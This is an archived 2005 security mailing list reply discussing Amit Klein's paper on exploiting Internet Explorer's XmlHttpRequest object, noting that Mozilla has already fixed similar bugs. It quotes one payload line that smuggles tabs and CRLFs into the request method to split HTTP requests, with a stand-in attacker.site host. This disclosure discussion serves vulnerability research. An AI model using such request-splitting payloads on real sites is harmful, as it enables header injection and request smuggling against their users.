Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein

from [Yutaka OIWA] Network Security [Permanent Link]
Subject: Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein
Date: Tue, 27 Sep 2005 21:34:11 +0900 
Hello Amit,

"Amit Klein (AKsecurity)" <aksecurity@hotpop.com> writes:


  x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
  /1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
  .site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
  /1.0\r\nFoobar:","http://www.attacker.site/",false);


This kind of bugs are already fixed in recent Mozilla browsers,
as shown in your reference [4].


[4] "setRequestHeader can be exploited using newline characters", 
Bugzilla bug 297078
https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and 
"XMLHttpRequest allows dangerous request headers to be set", 
Bugzilla bug 302263
https://bugzilla.mozilla.org/show_bug.cgi?id=302263


see comment #15 of bug 297078.

https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c15

-- 
Yutaka OIWA                        Research Center for Information Security
    National Institute of Advanced Industrial Science and Technology (AIST)
                      Mail addresses: <y.oiwa@aist.go.jp>, <yutaka@oiwa.jp>
OpenPGP: id[995DD3E1] fp[3C21 17D0 D953 77D3 02D7 4FEC 4754 40C1 995D D3E1]
[More with this subject...]




<Prev in Thread] Current Thread [Next in Thread>
Previous by Date:  MDKSA-2005:170 - Updated mozilla packages fix multiple vulnerabilities, Mandriva Security Team
Next by Date:  Announce: RSBAC v1.2.5 released, Amon Ott
Previous by Thread:  "Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein, Amit Klein (AKsecurity)
Next by Thread:  Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein, Amit Klein (AKsecurity)
Indexes:  [Date] [Thread] [Top] [All Lists]